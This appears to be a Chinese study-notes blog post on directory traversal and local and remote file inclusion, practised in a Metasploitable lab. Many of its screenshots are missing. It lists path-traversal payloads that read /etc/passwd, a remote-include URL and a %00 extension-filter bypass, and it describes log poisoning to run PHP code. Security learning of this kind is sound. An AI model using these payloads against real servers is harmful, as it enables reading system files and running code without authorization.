目录遍历和文件包含

文件包含

本地文件包含

  1. 含有目录遍历和文件包含漏洞的特征:变量=页面;文件=值;

在这里插入图片描述

  1. 经典的测试方法:编码后也可以

在这里插入图片描述

../../../../../../../../etc/passwd
file:///etc/passwd
main.cgi	
http://www.a.com/1.php
htp://1.1.1.1/../../../../../../dir/file.txt
  1. 编码绕过字符过滤
  1. 绕过文件扩展名过滤:“.”;"%00"
    ?file = a.doc%00.php==========file = a.doc
  2. 编码绕过过滤: 用自动化工具转化
    在这里插入图片描述
  1. 其他系统路径可能使用到的字符

在这里插入图片描述

在这里插入图片描述

  1. 代码执行

当用户有对log文件有读取和执行权限:可以先向log文件传入一条php代码,然后在url中用文件包含执行代码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
PS:前提:必须要有www-data对log文件的读取和执行权限。

远程文件包含

  1. metasploitable配置:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 例(引用)

在这里插入图片描述
在这里插入图片描述
在192.168.181.132机器上包含192.168.181.128上的php代码。

  1. 字典:

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值